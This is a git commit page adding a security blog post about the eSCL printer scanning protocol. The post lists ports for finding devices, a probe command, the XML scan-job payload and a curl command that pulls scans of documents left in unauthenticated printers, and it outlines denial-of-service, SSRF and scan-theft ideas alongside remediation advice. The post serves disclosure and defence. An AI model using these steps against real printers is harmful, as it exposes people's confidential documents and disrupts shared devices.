Skip to content

Commit 825b0bf

Browse files
author
Matěj Smyčka
committed
Merge branch 'master' into 'publish'
Master See merge request csirt-mu-mgmt/threat-management/writeups!3
2 parents a35cce8 + e511fd3 commit 825b0bf

21 files changed

Lines changed: 3120 additions & 3 deletions

File tree

‎README.md‎

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,24 @@ The branch `publish` is automatically mirrored to [https://github.com/CSIRT-MU/w
1010

1111
Merge from master to publish to trigger the mirroring.
1212

13+
## MR Workflow
14+
15+
## Team review
16+
17+
This first MR is used to review the content, styling etc.
18+
19+
1. Create a new branch (e.g. `dev`) from `master` for your changes.
20+
2. Push your changes to the `dev` branch.
21+
3. Create a Pull Request from `dev` to `master`.
22+
23+
## Team lead acknowledgment
24+
25+
After merge, the team lead reviews and acknowledges that the post can be published publicly.
26+
27+
1. Create MR from `master` to `publish`.
28+
2. Team lead reviews and merges the MR to `publish`.
29+
30+
1331
## Deploy
1432

1533
```bash

‎docs/content/blog/assets/img/shodan_printers.png‎

52.1 KB
Loading

‎docs/content/blog/escl.md‎

Lines changed: 148 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
---
2+
authors:
3+
- Matej Smycka
4+
date: 08-10-2025
5+
---
6+
7+
# Hacking potential of eSCL protocol in printers
8+
9+
This article explores features of the eSCL protocol and its security implications.
10+
11+
## What is eSCL?
12+
13+
eSCL is a proprietary scanning standard created by Mopria, which made the specification [public](https://mopria.org/spec-download)[^1]. Its aim is to provide "driverless" vendor-neutral scanning for end users[^4].
14+
15+
Many vendors do implement it in their MFPs (Multi-Function Printers) and scanners. These endpoints are hidden and not properly documented, so they are often overlooked.
16+
17+
The other names for eSCL is `AirScan` (Apple). All printers by Apple supporting eSCL are listed [here](https://support.apple.com/en-us/HT201311).
18+
19+
We have not found any sources delving into the security aspects of eSCL, so here are some notes on what we discovered so far.
20+
21+
## How to find eSCL devices
22+
23+
Different vendors use different ports for eSCL. The most common ones are[^2]:
24+
25+
- Most of vendors 80, 443
26+
- Kyocera 9090, 9095, 9091, 9096
27+
- Konica Minolta 8081, 8082
28+
- Toshiba 80, 1080, 443, 10443
29+
30+
We have also observed devices responding both on HTTP and 631 (IPP) ports, so banning only the ports above may not be sufficient.
31+
32+
To see if a device supports eSCL, you can check the following URL:
33+
34+
```bash
35+
curl -k http://<IP_ADDRESS>/eSCL/ScannerCapabilities
36+
```
37+
If the device supports eSCL, you will get status code `200 OK` and an XML response with the scanner capabilities.
38+
39+
## Protocol overview
40+
41+
eSCL is based on HTTP and XML. The protocol uses SOAP messages to communicate between the client (the computer or mobile device) and the server (the MFP or scanner). The protocol supports various operations:
42+
43+
- `ScannerCapabilities`: Retrieve the capabilities of the scanner, such as supported resolutions, color modes, and document sizes.
44+
- `ScannerStatus`: Retrieve the current status of the scanner.
45+
- `ScannerBufferInfo`: Scan settings validation and estimation.
46+
- `ScanData`: Retrieve the scanned image data.
47+
48+
And finally, the Scan job creation and management:
49+
50+
- `ScanJob(s)`
51+
52+
The `ScanJob` endpoint allows creating a scan job by sending a POST request to the `/eSCL/ScanJob` endpoint with an XML payload that specifies the scan settings. The endpoint is described in more detail in the section 11.4 of the [specification](https://mopria.org/spec-download).
53+
54+
Two modes of the `ScanJob` operation are supported:
55+
- **Pull Scan**: The client initiates the scan and retrieves the scanned data using GET requests to the `/eSCL/ScanJobs/{jobId}/NextDocument` endpoint.
56+
- **Push Scan**: The scanner initiates the scan and sends the scanned data to a URL specified by `pwg:DestinationUri` in the scan settings.
57+
58+
## PoC
59+
60+
*For this demo, Kyocera ECOSYS was used. Specific details may vary according to vendor and model.*
61+
62+
By sending a POST request to the `/eSCL/ScanJob` endpoint, you can create a scan job.
63+
The exact format of the XML payload can be derived from `/eSCL/ScannerCapabilities` response, however its faster to get it from legitimate requests, for example [here](https://github.com/alexpevzner/eSCL-protocol-traces/blob/master/Kyocera-ECOSYS-M2040dn.log).
64+
65+
```xml
66+
<?xml version="1.0" encoding="UTF-8"?>
67+
<scan:ScanSettings xmlns:pwg="http://www.pwg.org/schemas/2010/12/sm" xmlns:scan="http://schemas.hp.com/imaging/escl/2011/05/03">
68+
<pwg:Version>2.0</pwg:Version>
69+
<pwg:ScanRegions>
70+
<pwg:ScanRegion>
71+
<pwg:ContentRegionUnits>escl:ThreeHundredthsOfInches</pwg:ContentRegionUnits>
72+
<pwg:XOffset>0</pwg:XOffset>
73+
<pwg:YOffset>0</pwg:YOffset>
74+
<pwg:Width>2551</pwg:Width>
75+
<pwg:Height>3508</pwg:Height>
76+
</pwg:ScanRegion>
77+
</pwg:ScanRegions>
78+
<pwg:InputSource>Platen</pwg:InputSource>
79+
<scan:ColorMode>RGB24</scan:ColorMode>
80+
<pwg:DocumentFormat>image/jpeg</pwg:DocumentFormat>
81+
<scan:XResolution>300</scan:XResolution>
82+
<scan:YResolution>300</scan:YResolution>
83+
</scan:ScanSettings>
84+
```
85+
86+
This will create a scan job, and the response will contain a URL to retrieve the scanned data:
87+
88+
```
89+
# Example response:
90+
HTTP/1.1 201 Created
91+
Location: http://<IP>:9095/eSCL/ScanJobs/urn:uuid:4509a320-00fe-007f-00ee-0055cf055834
92+
93+
## To retrieve the scanned data:
94+
curl <LOCATION>/NextDocument -o scan.jpeg
95+
```
96+
97+
This will return the scan of whatever is in the tray at the time, which might be a blank page, or a copy of a document left in the scanner by the last user.
98+
99+
This may seem like not that probable and opportunistic attack, but it is very common for people to forget to remove documents from the scanner after scanning.
100+
101+
You might be able to scan sensitive documents left in the scanner with employee personal information, contracts, etc.
102+
103+
This can lead to **GDPR violations and breach of confidentiality**.
104+
105+
Full PoC code is available [here](https://github.com/CSIRT-MU/Scanner-eSCL-Document-Download-PoC/blob/main/scan_and_save.py).
106+
107+
## Security implications
108+
109+
Just from the protocol description, it is clear that there are several areas where malicious actors could exploit the protocol:
110+
111+
- DoS by sending constant requests for scan. Server will serve `503 Service Unavailable` for legitimate users while processing previous requests.
112+
- Ability to exfiltrate sensitive documents if they are physically in the scanner, however the tray might be empty.
113+
- Ability to send POST/PUT requests to arbitrary URLs in Push Scan mode, which can be used to exfiltrate data or perform SSRF attacks.
114+
- Ability to download documents scanned by other users before them by constantly polling the `/eSCL/ScanJobs/{jobId}/NextDocument` endpoint. All `jobId` can be listed in `/eSCL/ScannerStatus` response. This doubles as both DoS for the user and exfiltration of the scanned document (confidentiality breach).
115+
- Information disclosure such as device model, serial number, firmware version, etc. For example, serial number [were used](https://github.com/advisories/GHSA-7q89-r4x7-5664) to generate default admin passwords in Brother printers.
116+
117+
![Shodan printers](./assets/img/shodan_printers.png)
118+
119+
According to Shodan, there are more than 190k devices categorized as printers, many of which likely support eSCL.
120+
121+
This is huge because many organizations have printers with public IP addresses, and eSCL endpoints are often not protected by authentication or encryption.
122+
123+
## Remediation
124+
125+
General recommendation is to never expose hardware IoT devices to the internet, as they are often not designed with security in mind.
126+
127+
Specific recommendations for eSCL:
128+
129+
- Disable eSCL if possible
130+
- Enable authentication if supported (OAuth, Basic Auth, etc.)
131+
- Educate users to not leave sensitive documents in the scanner
132+
- General network security hygiene: firewalls, segmentation, VPNs, etc.
133+
134+
135+
## Warning
136+
137+
Sending malformed requests to printer ports (e.g., 9100/JetDirect) can cause the device to crash, become unresponsive, or print garbage. Take special care and supervise devices when running fuzzers and vulnerability scanners against these ports. Also, it is best to test eSCL against HTTP/HTTPS/IPP services only.
138+
139+
## Resources
140+
141+
- Reverse engineering of eSCL protocol: https://gist.github.com/markosjal/79d03cc4f1fd287016906e7ff6f07136
142+
- Github `sane-airscan`, eSCL driver for linux https://github.com/alexpevzner/sane-airscan
143+
144+
## References
145+
146+
[^1]: https://wiki.debian.org/eSCL
147+
[^2]: https://support.princh.com/en/the-onboarding-process-1
148+
[^4]: https://github.com/alexpevzner/sane-airscan

0 commit comments

Comments
 (0)